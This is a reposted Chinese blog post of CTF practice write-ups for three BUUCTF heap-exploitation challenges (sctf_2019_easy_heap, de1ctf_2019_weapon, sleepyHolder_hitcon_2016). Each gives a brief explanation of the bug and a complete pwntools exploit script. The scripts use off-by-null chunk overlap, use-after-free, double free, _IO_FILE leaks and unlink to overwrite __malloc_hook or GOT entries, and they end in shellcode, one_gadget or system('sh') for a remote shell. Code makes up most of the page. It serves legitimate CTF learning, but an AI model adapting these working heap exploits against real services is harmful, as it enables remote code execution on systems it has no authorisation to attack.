小言_互联网的博客

BUUCTF-PWN刷题记录-14

777人阅读  评论(0)

sctf_2019_easy_heap(off-by-null块重叠,double free)


这题原题目好像是在Ubuntu16下的,但是BUU上面是Ubuntu18,所以应该更简单一点
总的来说,这题应该是ciscn_2019_final_3的加强版吧,当然也有更简单的地方
首先,给了我们一块rwx的空间

add函数会给你content的地址存放位置,不过我觉得没什么用

my_read中,只有长度和size一样才会加\x00,而且是off-by-null

利用思路

  1. 这步和ciscn_2019_final_3
    差不多,区别是这题没有大小限制能直接申请出unsorted bin范围内的chunk,利用块重叠申请同一内存区域两次
  2. 利用上一步中申请出的同一内存heap[1,2]进行double free,然后house of spirit把shellcode写进一开始mmap的内存
  3. 再次利用第一步的办法,不过这次要把heap[1,2]中的一个放进tcache,这里我释放了1,然后利用unsorted bin的切割技术把main_arena+0x60的地址留在tcache的fd,然后编辑2,把最低8比特改为\x30,使其执行__malloc_hook,然后再申请两次就把__malloc_hook给申请出来,写入之前给我们的地址,再次malloc就能执行shellcode了

Exp:

from pwn import *

menu = ">> "
def add(size):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Size: ")
	r.sendline(str(size))
	r.recvuntil("Pointer Address ")
	addr = int(r.recvuntil('\n').strip(), 16)
	return addr
	

def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Index: ")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Index: ")
	r.sendline(str(index))
	r.recvuntil("Content: ")
	r.send(content)

r = remote("node3.buuoj.cn", 26109)
#r = process("./sctf_2019_easy_heap")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *$rebase(0xC48)
	x/20gx $rebase(0x202060)
    c
    ''')

elf = ELF("./sctf_2019_easy_heap")
libc = ELF("./libc/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]

r.recvuntil("Mmap: ")
my_addr = int(r.recvuntil('\n').strip(), 16)

add(0x508)#0
add(0x68)#1
add(0x5f8)#2
add(0x18)#3
add(0x68)#4

delete(0)
edit(1, 'a'*0x60+p64(0x580))
delete(2)
add(0x508)#0
add(0x68)#2
#pause()

delete(4)
delete(1)
delete(2)


add(0x68)#1
edit(1, p64(my_addr)+'\n')
add(0x68)#2
add(0x68)#4 my_addr
edit(4, asm(shellcraft.sh())+'\n')

add(0x5f8)#5
delete(0)
edit(1, 'a'*0x60+p64(0x580))
delete(1)
delete(5)
pause()
add(0x508)#0
edit(2, '\x30\n')
add(0x68)#1
add(0x68)#5 malloc_hook
edit(5, p64(my_addr)+'\n')

r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Size: ")
r.sendline('10')

r.interactive()

de1ctf_2019_weapon(UAF块重叠,_IO_FILE泄露libc)

题目分析


只有添加,删除和编辑

删除时指针悬挂

添加时限制大小为0-0x60

编号为0-9

漏洞利用

  1. 申请这么几个
add(0, 0x60, p64(0)+p64(0x71))#填入伪造chunk头部
add(1, 0x60, 'chunk1\n')
add(2, 0x60, p64(0)*3+p64(0x51))#为了过检查
  1. 释放0和1,UAF编辑1,把fastbin的fd改为chunk0的payload部分(就是上面伪造的那个,使用partial rewrite),这样再申请2次0x60大小[3,4]时,chunk1的size部分就可以被4编辑了
  2. 再把1释放,然后用4把1的size改为0x91,再次释放使其进入unsorted bin,这样main_arena+0x58就留在了1(fastbin)的fd,再次使用partial rewrite把其覆盖为_IO_2_1_stdout_-0x43,如下图所示,利用错位伪造出的size(最低12位为0x5dd,这里需要爆破1个比特)
  3. 如果上面爆破成功,申请出这块内存,我们就把_IO_2_1_stdout_的内容改为p64(0xfbad1887) + p64(0)*3 + '\x18' ,然后就能泄露出libc了
  4. 再来一次doubel free,利用house of spirit把__malloc_hook写入one_gadget

Exp

from pwn import *

menu = "choice >> \n"
def add(index, size, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("wlecome input your size of weapon: ")
	r.sendline(str(size))
	r.recvuntil("input index: ")
	r.sendline(str(index))
	r.recvuntil("input your name:\n")
	r.send(content)
	

def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("input idx :")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("input idx: ")
	r.sendline(str(index))
	r.recvuntil("new content:\n")
	r.send(content)

#r = remote("node3.buuoj.cn", 27089)
#r = process("./de1ctf_2019_weapon")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *$rebase(0xE96)
	x/20gx $rebase(0x202060)
    c
    ''')

elf = ELF("./de1ctf_2019_weapon")
libc = ELF("./libc/libc-2.23.so")
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

def pwn():
	add(0, 0x60, p64(0)+p64(0x71))
	add(1, 0x60, 'chunk1\n')
	add(2, 0x60, p64(0)*3+p64(0x51))
	delete(0)
	delete(1)
	edit(1, '\x10')
	add(3, 0x60, 'a\n')#same 1
	add(4, 0x60, 'b\n')
	delete(1)
	edit(4, p64(0)*11+p64(0x91))
	delete(1)

	edit(4, p64(0)*11+p64(0x71))
	edit(1, '\xdd\xe5')
	add(5, 0x60, 'a\n')
	payload = 'a'*0x33 + p64(0xfbad1887) + p64(0)*3 + '\x18' 
	add(6, 0x60, payload)

	libc.address = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) + 8 - libc.sym['_IO_2_1_stdout_']
	malloc_hook = libc.sym['__malloc_hook']
	one_gadget = one_gadget_16[3] + libc.address
	success("malloc_hook:"+hex(malloc_hook))

	r.sendline('2')
	r.recvuntil("input idx :")
	r.sendline('1')
	delete(0)
	delete(1)
	add(7, 0x60, p64(malloc_hook-0x23))
	add(7, 0x60, p64(malloc_hook-0x23))
	add(7, 0x60, p64(malloc_hook-0x23))
	add(8, 0x60, 'a'*0x13 + p64(one_gadget))

	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("wlecome input your size of weapon: ")
	r.sendline('10')
	r.recvuntil("input index: ")
	r.sendline('9')
	r.interactive()

if __name__ == "__main__":
	#pwn()

	while True:
		r = remote("node3.buuoj.cn", 27089)
		try:
			pwn()
		except:
			r.close()

sleepyHolder_hitcon_2016(fastbin_dup_consolidate,unlink)


看来是修改GOT表了

题目分析

还是添加删除和编辑功能
添加功能大小不能指定,分别为40,4000,400000

free时候指针悬挂

不过没法UAF

漏洞利用

这题利用的是一种叫fastbin_dup_consolidate的办法
我们知道,Ubuntu16中有对fastbin的double free检查,之间double free必然报错,而small bin却没有相应检查,这样我们如果能把fastbin中的chunk弄到small bin中,再次释放该chunk又申请回来就能编辑它了
那要怎么把fastbin弄到small bin中呢,本题中有一个huge的申请,大小为400000

在进行该申请时,大小一般比topchunk大,因此内存管理器会把fastbin中的Bin放入small bin并且调用mmap,如下
第一次释放,进入fastbin


申请huge之后,进入small bin

double free

此时我们把它再申请回来,并在其中伪造chunk,使用unlink攻击把small中地址改为small-0x18,后面就是修改free的GOT为puts泄露libc,修改aoti的got为system获得shell

Exp

from pwn import *

menu = "3. Renew secret\n"
def add(type, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("2. Big secret\n")
	r.sendline(str(type))
	r.recvuntil("Tell me your secret: \n")
	r.send(content)
	

def delete(type):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("2. Big secret\n")
	r.sendline(str(type))

def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("2. Big secret\n")
	r.sendline(str(index))
	r.recvuntil("Tell me your secret: \n")
	r.send(content)

r = remote("node3.buuoj.cn", 26115)
#r = process("./sleepyHolder_hitcon_2016")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400DE3
	x/20gx 0x6020C0
	c
	''')

elf = ELF("./sleepyHolder_hitcon_2016")
libc = ELF("./libc/libc-2.23.so")
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
small = 0x6020D0
big = 0x6020C0
puts = elf.plt['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']


add(1, 'aa\n')
add(2, 'bb\n')
delete(1)
add(3, 'cc\n')
delete(1)
payload = p64(0) + p64(0x21) +  p64(small-0x18) + p64(small-0x10) + p64(0x20)
add(1, payload)
delete(2)
payload = p64(0) + p64(big) + p64(0) + p64(free_got) + p32(1) * 3 + '\n'
edit(1, payload)
edit(1, p64(puts))
payload = p64(atoi_got) + p64(0) + p64(atoi_got) + p32(1) * 3 + '\n'
edit(2, payload)
delete(2)
atoi_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = atoi_addr - libc.sym['atoi']
system = libc.sym['system']
success("libc:"+hex(libc.address))
edit(1, p64(system))
r.recvuntil(menu)
r.sendline('sh')

r.interactive()

转载:https://blog.csdn.net/weixin_44145820/article/details/105808255
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场